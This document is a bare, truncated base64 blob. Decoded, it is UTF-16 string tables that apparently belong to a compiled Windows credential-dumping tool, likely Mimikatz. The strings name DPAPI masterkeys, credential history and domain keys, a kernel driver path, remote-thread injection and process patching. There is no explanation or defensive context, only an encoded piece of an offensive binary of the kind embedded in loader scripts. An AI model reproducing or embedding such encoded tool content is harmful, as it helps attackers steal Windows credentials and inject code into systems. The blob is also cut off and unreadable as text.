RwBfAEQAUwBTAF8AUwBJAEcATgAAAEMAQQBMAEcAXwBOAE8AXwBTAEkARwBOAAAAAABDAEEATABHAF8AUgBTAEEAXwBLAEUAWQBYAAAAQwBBAEwARwBfAEQARQBTAAAAAABDAEEATABHAF8AMwBEAEUAUwBfADEAMQAyAAAAQwBBAEwARwBfADMARABFAFMAAABDAEEATABHAF8ARABFAFMAWAAAAEMAQQBMAEcAXwBSAEMAMgAAAAAAQwBBAEwARwBfAFIAQwA0AAAAAABDAEEATABHAF8AUwBFAEEATAAAAEMAQQBMAEcAXwBEAEgAXwBTAEYAAAAAAEMAQQBMAEcAXwBEAEgAXwBFAFAASABFAE0AAABDAEEATABHAF8AQQBHAFIARQBFAEQASwBFAFkAXwBBAE4AWQAAAAAAQwBBAEwARwBfAEsARQBBAF8ASwBFAFkAWAAAAEMAQQBMAEcAXwBIAFUARwBIAEUAUwBfAE0ARAA1AAAAQwBBAEwARwBfAFMASwBJAFAASgBBAEMASwAAAEMAQQBMAEcAXwBUAEUASwAAAAAAQwBBAEwARwBfAEMAWQBMAEkATgBLAF8ATQBFAEsAAABDAEEATABHAF8AUwBTAEwAMwBfAFMASABBAE0ARAA1AAAAAABDAEEATABHAF8AUwBTAEwAMwBfAE0AQQBTAFQARQBSAAAAAABDAEEATABHAF8AUwBDAEgAQQBOAE4ARQBMAF8ATQBBAFMAVABFAFIAXwBIAEEAUwBIAAAAQwBBAEwARwBfAFMAQwBIAEEATgBOAEUATABfAE0AQQBDAF8ASwBFAFkAAABDAEEATABHAF8AUwBDAEgAQQBOAE4ARQBMAF8ARQBOAEMAXwBLAEUAWQAAAEMAQQBMAEcAXwBQAEMAVAAxAF8ATQBBAFMAVABFAFIAAAAAAEMAQQBMAEcAXwBTAFMATAAyAF8ATQBBAFMAVABFAFIAAAAAAEMAQQBMAEcAXwBUAEwAUwAxAF8ATQBBAFMAVABFAFIAAAAAAEMAQQBMAEcAXwBSAEMANQAAAAAAQwBBAEwARwBfAEgATQBBAEMAAABDAEEATABHAF8AVABMAFMAMQBQAFIARgAAAAAAQwBBAEwARwBfAEgAQQBTAEgAXwBSAEUAUABMAEEAQwBFAF8ATwBXAEYAAABDAEEATABHAF8AQQBFAFMAXwAxADIAOAAAAAAAQwBBAEwARwBfAEEARQBTAF8AMQA5ADIAAAAAAEMAQQBMAEcAXwBBAEUAUwBfADIANQA2AAAAAABDAEEATABHAF8AQQBFAFMAAAAAAEMAQQBMAEcAXwBTAEgAQQBfADIANQA2AAAAAABDAEEATABHAF8AUwBIAEEAXwAzADgANAAAAAAAQwBBAEwARwBfAFMASABBAF8ANQAxADIAAAAAAEMAQQBMAEcAXwBFAEMARABIAAAAQwBBAEwARwBfAEUAQwBNAFEAVgAAAAAAQwBBAEwARwBfAEUAQwBEAFMAQQAAAAAAQQBUAF8ASwBFAFkARQBYAEMASABBAE4ARwBFAAAAAABBAFQAXwBTAEkARwBOAEEAVABVAFIARQAAAAAAQwBOAEcAIABLAGUAeQAAAD8AAAAlACoAcwAqACoAQgBMAE8AQgAqACoACgAAAAAAJQAqAHMAIAAgAGQAdwBWAGUAcgBzAGkAbwBuACAAIAAgACAAIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAACUAKgBzACAAIABnAHUAaQBkAFAAcgBvAHYAaQBkAGUAcgAgACAAIAAgACAAIAAgADoAIAAAAAAAAAAAACUAKgBzACAAIABkAHcATQBhAHMAdABlAHIASwBlAHkAVgBlAHIAcwBpAG8AbgAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAlACoAcwAgACAAZwB1AGkAZABNAGEAcwB0AGUAcgBLAGUAeQAgACAAIAAgACAAIAA6ACAAAAAAAAAAAAAlACoAcwAgACAAZAB3AEYAbABhAGcAcwAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAAAAAACUAKgBzACAAIABkAHcARABlAHMAYwByAGkAcAB0AGkAbwBuAEwAZQBuACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAlACoAcwAgACAAcwB6AEQAZQBzAGMAcgBpAHAAdABpAG8AbgAgACAAIAAgACAAIAA6ACAAJQBzAAoAAAAlACoAcwAgACAAYQBsAGcAQwByAHkAcAB0ACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUAIAAoACUAcwApAAoAAAAAAAAAJQAqAHMAIAAgAGQAdwBBAGwAZwBDAHIAeQBwAHQATABlAG4AIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAAAAAAAAlACoAcwAgACAAZAB3AFMAYQBsAHQATABlAG4AIAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAJQAqAHMAIAAgAHAAYgBTAGEAbAB0ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgAAAAAAAAAAAAJQAqAHMAIAAgAGQAdwBIAG0AYQBjAEsAZQB5AEwAZQBuACAAIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAACUAKgBzACAAIABwAGIASABtAGEAYwBrAEsAZQB5ACAAIAAgACAAIAAgACAAIAAgADoAIAAAAAAAAAAAACUAKgBzACAAIABhAGwAZwBIAGEAcwBoACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAgACgAJQBzACkACgAAAAAAAAAlACoAcwAgACAAZAB3AEEAbABnAEgAYQBzAGgATABlAG4AIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAAAAAACUAKgBzACAAIABkAHcASABtAGEAYwAyAEsAZQB5AEwAZQBuACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAlACoAcwAgACAAcABiAEgAbQBhAGMAawAyAEsAZQB5ACAAIAAgACAAIAAgACAAIAA6ACAAAAAAAAAAAAAlACoAcwAgACAAZAB3AEQAYQB0AGEATABlAG4AIAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAJQAqAHMAIAAgAHAAYgBEAGEAdABhACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgAAAAAAAAAAAAJQAqAHMAIAAgAGQAdwBTAGkAZwBuAEwAZQBuACAAIAAgACAAIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAACUAKgBzACAAIABwAGIAUwBpAGcAbgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAAAAAACgAKAAAAAAAlACoAcwAqACoATQBBAFMAVABFAFIASwBFAFkAKgAqAAoAAAAlACoAcwAgACAAZAB3AFYAZQByAHMAaQBvAG4AIAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAlACoAcwAgACAAcwBhAGwAdAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAAAAAAAAAAACUAKgBzACAAIAByAG8AdQBuAGQAcwAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAACUAKgBzACAAIABhAGwAZwBIAGEAcwBoACAAIAAgACAAIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1ACAAKAAlAHMAKQAKAAAAJQAqAHMAIAAgAGEAbABnAEMAcgB5AHAAdAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUAIAAoACUAcwApAAoAAAAlACoAcwAgACAAcABiAEsAZQB5ACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAAAAAAJQAqAHMAKgAqAEMAUgBFAEQASABJAFMAVAAgAEkATgBGAE8AKgAqAAoAAAAlACoAcwAgACAAZwB1AGkAZAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAAAAAAJQAqAHMAKgAqAEQATwBNAEEASQBOAEsARQBZACoAKgAKAAAAJQAqAHMAIAAgAGQAdwBTAGUAYwByAGUAdABMAGUAbgAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAJQAqAHMAIAAgAGQAdwBBAGMAYwBlAHMAcwBjAGgAZQBjAGsATABlAG4AIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAJQAqAHMAIAAgAGcAdQBpAGQATQBhAHMAdABlAHIASwBlAHkAIAAgACAAIAA6ACAAAAAAACUAKgBzACAAIABwAGIAUwBlAGMAcgBlAHQAIAAgACAAIAAgACAAIAAgACAAOgAgAAAAAAAlACoAcwAgACAAcABiAEEAYwBjAGUAcwBzAGMAaABlAGMAawAgACAAIAAgADoAIAAAAAAAJQAqAHMAKgAqAE0AQQBTAFQARQBSAEsARQBZAFMAKgAqAAoAAAAAAAAAAAAlACoAcwAgACAAcwB6AEcAdQBpAGQAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAewAlAC4AMwA2AHMAfQAKAAAAAAAlACoAcwAgACAAZAB3AE0AYQBzAHQAZQByAEsAZQB5AEwAZQBuACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAAAAAACUAKgBzACAAIABkAHcAQgBhAGMAawB1AHAASwBlAHkATABlAG4AIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAAAAAJQAqAHMAIAAgAGQAdwBDAHIAZQBkAEgAaQBzAHQATABlAG4AIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAAAAAAAAlACoAcwAgACAAZAB3AEQAbwBtAGEAaQBuAEsAZQB5AEwAZQBuACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAJQAqAHMAWwBtAGEAcwB0AGUAcgBrAGUAeQBdAAoAAAAlACoAcwBbAGIAYQBjAGsAdQBwAGsAZQB5AF0ACgAAACUAKgBzAFsAYwByAGUAZABoAGkAcwB0AF0ACgAAAAAAJQAqAHMAWwBkAG8AbQBhAGkAbgBrAGUAeQBdAAoAAAAlACoAcwAqACoAQwBSAEUARABIAEkAUwBUACoAKgAKAAAAAAAlACoAcwAgACAAZAB3AFYAZQByAHMAaQBvAG4AIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAACUAKgBzACAAIABnAHUAaQBkACAAIAAgACAAIAAgADoAIAAAACUAKgBzACAAIABkAHcATgBlAHgAdABMAGUAbgAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAJQAqAHMAKgAqAEMAUgBFAEQASABJAFMAVAAgAEUATgBUAFIAWQAqACoACgAAAAAAJQAqAHMAIAAgAGQAdwBUAHkAcABlACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAAAAAJQAqAHMAIAAgAGEAbABnAEgAYQBzAGgAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1ACAAKAAlAHMAKQAKAAAAAAAlACoAcwAgACAAcgBvAHUAbgBkAHMAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAACUAKgBzACAAIABzAGkAZABMAGUAbgAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAACUAKgBzACAAIABhAGwAZwBDAHIAeQBwAHQAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAgACgAJQBzACkACgAAAAAAJQAqAHMAIAAgAHMAaABhADEATABlAG4AIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAlACoAcwAgACAAbQBkADQATABlAG4AIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAACUAKgBzACAAIABTAGEAbAB0ACAAIAAgACAAIAAgADoAIAAAACUAKgBzACAAIABTAGkAZAAgACAAIAAgACAAIAAgADoAIAAAACUAKgBzACAAIABwAFMAZQBjAHIAZQB0ACAAIAAgADoAIAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AZABwAGEAcABpAF8AdQBuAHAAcgBvAHQAZQBjAHQAXwBiAGwAbwBiACAAOwAgAEMAcgB5AHAAdABEAGUAYwByAHkAcAB0ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AZABwAGEAcABpAF8AdQBuAHAAcgBvAHQAZQBjAHQAXwBiAGwAbwBiACAAOwAgAGsAdQBsAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBjAGwAbwBzAGUAXwBoAHAAcgBvAHYAXwBkAGUAbABlAHQAZQBfAGMAbwBuAHQAYQBpAG4AZQByACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAGQAcABhAHAAaQBfAHUAbgBwAHIAbwB0AGUAYwB0AF8AYgBsAG8AYgAgADsAIABrAHUAbABsAF8AbQBfAGMAcgB5AHAAdABvAF8AaABrAGUAeQBfAHMAZQBzAHMAaQBvAG4AIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AZABwAGEAcABpAF8AdQBuAHAAcgBvAHQAZQBjAHQAXwBtAGEAcwB0AGUAcgBrAGUAeQBfAHcAaQB0AGgAXwBzAGgAYQBEAGUAcgBpAHYAZQBkAGsAZQB5ACAAOwAgAGsAdQBsAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBjAGwAbwBzAGUAXwBoAHAAcgBvAHYAXwBkAGUAbABlAHQAZQBfAGMAbwBuAHQAYQBpAG4AZQByACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAGQAcABhAHAAaQBfAHUAbgBwAHIAbwB0AGUAYwB0AF8AbQBhAHMAdABlAHIAawBlAHkAXwB3AGkAdABoAF8AcwBoAGEARABlAHIAaQB2AGUAZABrAGUAeQAgADsAIABrAHUAbABsAF8AbQBfAGMAcgB5AHAAdABvAF8AaABrAGUAeQBfAHMAZQBzAHMAaQBvAG4AIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AZABwAGEAcABpAF8AdQBuAHAAcgBvAHQAZQBjAHQAXwBkAG8AbQBhAGkAbgBrAGUAeQBfAHcAaQB0AGgAXwBrAGUAeQAgADsAIABDAHIAeQBwAHQARABlAGMAcgB5AHAAdAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBkAHAAYQBwAGkAXwB1AG4AcAByAG8AdABlAGMAdABfAGQAbwBtAGEAaQBuAGsAZQB5AF8AdwBpAHQAaABfAGsAZQB5ACAAOwAgAEMAcgB5AHAAdABTAGUAdABLAGUAeQBQAGEAcgBhAG0AIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AZABwAGEAcABpAF8AdQBuAHAAcgBvAHQAZQBjAHQAXwBkAG8AbQBhAGkAbgBrAGUAeQBfAHcAaQB0AGgAXwBrAGUAeQAgADsAIABrAHUAbABsAF8AbQBfAGMAcgB5AHAAdABvAF8AYwBsAG8AcwBlAF8AaABwAHIAbwB2AF8AZABlAGwAZQB0AGUAXwBjAG8AbgB0AGEAaQBuAGUAcgAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAGQAcABhAHAAaQBfAHUAbgBwAHIAbwB0AGUAYwB0AF8AYwByAGUAZABoAGkAcwB0AF8AZQBuAHQAcgB5AF8AdwBpAHQAaABfAHMAaABhAEQAZQByAGkAdgBlAGQAawBlAHkAIAA7ACAAawB1AGwAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGMAbABvAHMAZQBfAGgAcAByAG8AdgBfAGQAZQBsAGUAdABlAF8AYwBvAG4AdABhAGkAbgBlAHIAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAGQAcABhAHAAaQBfAHUAbgBwAHIAbwB0AGUAYwB0AF8AYwByAGUAZABoAGkAcwB0AF8AZQBuAHQAcgB5AF8AdwBpAHQAaABfAHMAaABhAEQAZQByAGkAdgBlAGQAawBlAHkAIAA7ACAAawB1AGwAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGgAawBlAHkAXwBzAGUAcwBzAGkAbwBuACAAKAAwAHgAJQAwADgAeAApAAoAAABvAG4AXwB1AG4AcAByAG8AdABlAGMAdAAAAAAAbwBuAF8AcAByAG8AdABlAGMAdAAAAAAAcgBlAHMAZQByAHYAZQBkAAAAAABzAHQAcgBvAG4AZwAAAAAAcgBlAHEAdQBpAHIAZQBfAHMAdAByAG8AbgBnAAAAAAAlAHMAIAA7ACAAAAB1AGkAXwBmAG8AcgBiAGkAZABkAGUAbgAAAAAAdQBuAGsAbgBvAHcAbgAAAGwAbwBjAGEAbABfAG0AYQBjAGgAaQBuAGUAAABjAHIAZQBkAF8AcwB5AG4AYwAAAGEAdQBkAGkAdAAAAG4AbwBfAHIAZQBjAG8AdgBlAHIAeQAAAHYAZQByAGkAZgB5AF8AcAByAG8AdABlAGMAdABpAG8AbgAAAGMAcgBlAGQAXwByAGUAZwBlAG4AZQByAGEAdABlAAAAc3lzdGVtAAAAAAAACgA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0ACgBCAGEAcwBlADYANAAgAG8AZgAgAGYAaQBsAGUAIAA6ACAAJQBzAAoAPQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AAoAAAAlAGMAAAAAAD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBpAG8AYwB0AGwAXwBoAGEAbgBkAGwAZQAgADsAIABEAGUAdgBpAGMAZQBJAG8AQwBvAG4AdAByAG8AbAAgACgAMAB4ACUAMAA4AHgAKQAgADoAIAAwAHgAJQAwADgAeAAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBpAG8AYwB0AGwAIAA7ACAAQwByAGUAYQB0AGUARgBpAGwAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABcAFwALgBcAG0AaQBtAGkAZAByAHYAAAAlACoAcwAqACoASwBFAFkAIAAoAGMAYQBwAGkAKQAqACoACgAAAAAAAAAAACUAKgBzACAAIABkAHcAVQBuAGkAcQB1AGUATgBhAG0AZQBMAGUAbgAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAAAAAJQAqAHMAIAAgAGQAdwBQAHUAYgBsAGkAYwBLAGUAeQBMAGUAbgAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAAAAAAAAlACoAcwAgACAAZAB3AFAAcgBpAHYAYQB0AGUASwBlAHkATABlAG4AIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAAAAAACUAKgBzACAAIABkAHcASABhAHMAaABMAGUAbgAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAAAAAJQAqAHMAIAAgAGQAdwBFAHgAcABvAHIAdABGAGwAYQBnAEwAZQBuACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAACUAKgBzACAAIABwAFUAbgBpAHEAdQBlAE4AYQBtAGUAIAAgACAAIAAgACAAIAAgADoAIAAAAAAAJQBTAAoAAAAlACoAcwAgACAAcABIAGEAcwBoACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAAACUAKgBzACAAIABwAFAAdQBiAGwAaQBjAEsAZQB5ACAAIAAgACAAIAAgACAAIAAgADoAIAAAAAAAJQAqAHMAIAAgAHAAUAByAGkAdgBhAHQAZQBLAGUAeQAgACAAIAAgACAAIAAgACAAOgAKAAAAAAAlACoAcwAgACAAcABFAHgAcABvAHIAdABGAGwAYQBnACAAIAAgACAAIAAgACAAIAA6AAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAGsAZQB5AF8AYwBuAGcAXwBjAHIAZQBhAHQAZQAgADsAIABrAHUAbABsAF8AbQBfAGsAZQB5AF8AYwBuAGcAXwBwAHIAbwBwAGUAcgB0AGkAZQBzAF8AYwByAGUAYQB0AGUAIAAoAHAAdQBiAGwAaQBjACkACgAAAAAAJQAqAHMAKgAqAEsARQBZACAAKABjAG4AZwApACoAKgAKAAAAJQAqAHMAIAAgAGQAdwBWAGUAcgBzAGkAbwBuACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAlACoAcwAgACAAdQBuAGsAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAACUAKgBzACAAIABkAHcATgBhAG0AZQBMAGUAbgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAJQAqAHMAIAAgAHQAeQBwAGUAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAlACoAcwAgACAAZAB3AFAAdQBiAGwAaQBjAFAAcgBvAHAAZQByAHQAaQBlAHMATABlAG4AIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAACUAKgBzACAAIABkAHcAUAByAGkAdgBhAHQAZQBQAHIAbwBwAGUAcgB0AGkAZQBzAEwAZQBuADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAJQAqAHMAIAAgAGQAdwBQAHIAaQB2AGEAdABlAEsAZQB5AEwAZQBuACAAIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAlACoAcwAgACAAdQBuAGsAQQByAHIAYQB5AFsAMQA2AF0AIAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAlACoAcwAgACAAcABOAGEAbQBlACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAlAC4AKgBzAAoAAAAlACoAcwAgACAAcABQAHUAYgBsAGkAYwBQAHIAbwBwAGUAcgB0AGkAZQBzACAAIAAgACAAIAA6ACAAAAAlACoAcwAgACAAcABQAHIAaQB2AGEAdABlAFAAcgBvAHAAZQByAHQAaQBlAHMAIAAgACAAIAA6AAoAAAAlACoAcwAgACAAcABQAHIAaQB2AGEAdABlAEsAZQB5ACAAIAAgACAAIAAgACAAIAAgACAAIAA6AAoAAAAlACoAcwAqACoASwBFAFkAIABDAE4ARwAgAFAAUgBPAFAARQBSAFQAWQAqACoACgAAAAAAAAAAACUAKgBzACAAIABkAHcAUwB0AHIAdQBjAHQATABlAG4AIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAACUAKgBzACAAIAB0AHkAcABlACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAACUAKgBzACAAIAB1AG4AawAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAACUAKgBzACAAIABkAHcATgBhAG0AZQBMAGUAbgAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAACUAKgBzACAAIABkAHcAUAByAG8AcABlAHIAdAB5AEwAZQBuACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAJQAqAHMAIAAgAHAATgBhAG0AZQAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgAAAAJQAqAHMAIAAgAHAAUAByAG8AcABlAHIAdAB5ACAAIAAgACAAIAAgACAAOgAgAAAAJQB1ACAAZgBpAGUAbABkACgAcwApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AbgBlAHQAXwBnAGUAdABEAEMAIAA7ACAARABzAEcAZQB0AEQAYwBOAGEAbQBlADoAIAAlAHUACgAAAGEAAAAiACUAcwAiACAAcwBlAHIAdgBpAGMAZQAgAHAAYQB0AGMAaABlAGQACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHAAYQB0AGMAaABfAGcAZQBuAGUAcgBpAGMAUAByAG8AYwBlAHMAcwBPAHIAUwBlAHIAdgBpAGMAZQBGAHIAbwBtAEIAdQBpAGwAZAAgADsAIABrAHUAbABsAF8AbQBfAHAAYQB0AGMAaAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBwAGEAdABjAGgAXwBnAGUAbgBlAHIAaQBjAFAAcgBvAGMAZQBzAHMATwByAFMAZQByAHYAaQBjAGUARgByAG8AbQBCAHUAaQBsAGQAIAA7ACAAawB1AGwAbABfAG0AXwBwAHIAbwBjAGUAcwBzAF8AZwBlAHQAVgBlAHIAeQBCAGEAcwBpAGMATQBvAGQAdQBsAGUASQBuAGYAbwByAG0AYQB0AGkAbwBuAHMARgBvAHIATgBhAG0AZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBwAGEAdABjAGgAXwBnAGUAbgBlAHIAaQBjAFAAcgBvAGMAZQBzAHMATwByAFMAZQByAHYAaQBjAGUARgByAG8AbQBCAHUAaQBsAGQAIAA7ACAATwBwAGUAbgBQAHIAbwBjAGUAcwBzACAAKAAwAHgAJQAwADgAeAApAAoAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHAAYQB0AGMAaABfAGcAZQBuAGUAcgBpAGMAUAByAG8AYwBlAHMAcwBPAHIAUwBlAHIAdgBpAGMAZQBGAHIAbwBtAEIAdQBpAGwAZAAgADsAIABTAGUAcgB2AGkAYwBlACAAaQBzACAAbgBvAHQAIAByAHUAbgBuAGkAbgBnAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBwAGEAdABjAGgAXwBnAGUAbgBlAHIAaQBjAFAAcgBvAGMAZQBzAHMATwByAFMAZQByAHYAaQBjAGUARgByAG8AbQBCAHUAaQBsAGQAIAA7ACAAawB1AGwAbABfAG0AXwBzAGUAcgB2AGkAYwBlAF8AZwBlAHQAVQBuAGkAcQB1AGUARgBvAHIATgBhAG0AZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBwAGEAdABjAGgAXwBnAGUAbgBlAHIAaQBjAFAAcgBvAGMAZQBzAHMATwByAFMAZQByAHYAaQBjAGUARgByAG8AbQBCAHUAaQBsAGQAIAA7ACAASQBuAGMAbwByAHIAZQBjAHQAIAB2AGUAcgBzAGkAbwBuACAAaQBuACAAcgBlAGYAZQByAGUAbgBjAGUAcwAKAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAZQBtAG8AdABlAGwAaQBiAF8AYwByAGUAYQB0AGUAIAA7ACAAUgB0AGwAQwByAGUAYQB0AGUAVQBzAGUAcgBUAGgAcgBlAGEAZAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBlAG0AbwB0AGUAbABpAGIAXwBjAHIAZQBhAHQAZQAgADsAIABDAHIAZQBhAHQAZQBSAGUAbQBvAHQAZQBUAGgAcgBlAGEAZAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABUAGgAIABAACAAJQBwAAoARABhACAAQAAgACUAcAAKAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAZQBtAG8AdABlAGwAaQBiAF8AYwByAGUAYQB0AGUAIAA7ACAAawB1AGwAbABfAG0AXwBrAGUAcgBuAGUAbABfAGkAbwBjAHQAbABfAGgAYQBuAGQAbABlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAZQBtAG8AdABlAGwAaQBiAF8AQwByAGUAYQB0AGUAUgBlAG0AbwB0AGUAQwBvAGQAZQBXAGkAdAB0AGgAUABhAHQAdABlAHIAbgBSAGUAcABsAGEAYwBlACAAOwAgAGsAdQBsAGwAXwBtAF8AbQBlAG0AbwByAHkAXwBjAG8AcAB5ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAGUAbQBvAHQAZQBsAGkAYgBfAEMAcgBlAGEAdABlAFIAZQBtAG8AdABlAEMAbwBkAGUAVwBpAHQAdABoAFAAYQB0AHQAZQByAG4AUgBlAHAAbABhAGMAZQAgADsAIABrAHUAbABsAF8AbQBfAG0AZQBtAG8AcgB5AF8AYQBsAGwAbwBjACAALwAgAFYAaQByAHQAdQBhAGwAQQBsAGwAbwBjACgARQB4ACkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAZQBtAG8AdABlAGwAaQBiAF8AQwByAGUAYQB0AGUAUgBlAG0AbwB0AGUAQwBvAGQAZQBXAGkAd